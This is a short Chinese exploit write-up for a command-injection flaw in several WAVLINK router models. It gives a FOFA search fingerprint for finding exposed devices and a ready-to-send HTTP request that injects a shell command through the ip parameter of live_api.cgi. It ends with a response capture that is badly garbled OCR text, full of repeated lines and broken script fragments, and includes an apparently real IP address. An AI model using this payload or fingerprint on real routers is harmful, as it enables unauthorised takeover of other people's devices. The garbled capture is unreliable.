W8-3Wavlink-路由器-RCE

漏洞描述:

WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在<u>命令执行漏洞</u>,攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN575G4、WN575A4

网站图片:



网络测绘:

fofa语法:

FOFA: icon_hash="-1350437236"

漏洞复现:

payload:

GET /cgi-bin/live_api.cgi?page=abc&id=173&ip=;id; HTTP/1.1

Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Accept-Encoding: gzip

效果图:

```
〈 〉 数据包扫描 無加載 构造请求 30
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Responses 729bytes / 399ms
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           美化 渲染 请输入定位响应
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             Q]
Request
   11 var-OperationMode:=1;
12 var-Model="WN530HG4";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   var-Model="WN530HG4";
var-Model="Unitype="GM";
var-WiFiBand="0";
var-SYS_DOMAINI="wifi.wavlink.com";
var-MeshMode="0";
var-firstFlage="0";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           var-firstflage="0";

var-use-8;

var-use-8;

var-use-8;

var-tang="cn";

var-tangar=";

var-tangar=";

var-applogin=rar-

var-applogin="0";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           25 var-applogin="0";
26 var-localIP="123.131.143.80";
27 </script>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           27 
28 29 \( \script \) language="JavaScript" \)
30 \( \var_\text{var} \) internetStatus;
31 \( \var_\text{var} \) internetStatus;
32 \( \var_\text{var} \) internetStatus;
33 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
35 \( \var_\text{var} \) internetStatus;
36 \( \var_\text{var} \) internetStatus;
37 \( \var_\text{var} \) internetStatus;
38 \( \var_\text{var} \) internetStatus;
39 \( \var_\text{var} \) internetStatus;
30 \( \var_\text{var} \) internetStatus;
31 \( \var_\text{var} \) internetStatus;
32 \( \var_\text{var} \) internetStatus;
33 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
35 \( \var_\text{var} \) internetStatus;
36 \( \var_\text{var} \) internetStatus;
37 \( \var_\text{var} \) internetStatus;
38 \( \var_\text{var} \) internetStatus;
39 \( \var_\text{var} \) internetStatus;
30 \( \var_\text{var} \) internetStatus;
31 \( \var_\text{var} \) internetStatus;
32 \( \var_\text{var} \) internetStatus;
33 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
35 \( \var_\text{var} \) internetStatus;
36 \( \var_\text{var} \) internetStatus;
37 \( \var_\text{var} \) internetStatus;
38 \( \var_\text{var} \) internetStatus;
39 \( \var_\text{var} \) internetStatus;
30 \( \var_\text{var} \) internetStatus;
30 \( \var_\text{var} \) internetStatus;
31 \( \var_\text{var} \) internetStatus;
32 \( \var_\text{var} \) internetStatus;
33 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
35 \( \var_\text{var} \) internetStatus;
36 \( \var_\text{var} \) internetStatus;
37 \( \var_\text{var} \) internetStatus;
39 \( \var_\text{var} \) internetStatus;
30 \( \var_\text{var} \) internetStatus;
30 \( \var_\text{var} \) internetStatus;
31 \( \var_\text{var} \) internetStatus;
32 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
34 \( \var_\text{var} \) internetStatus;
35 \( \var_\text{var} \
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                function \cdot p\_get\_by\_id(id) \cdot \{with(document) \cdot \{return \cdot parent.document.getElementById(id)\} = \{return \cdot parent.document\} \cdot \{retur
```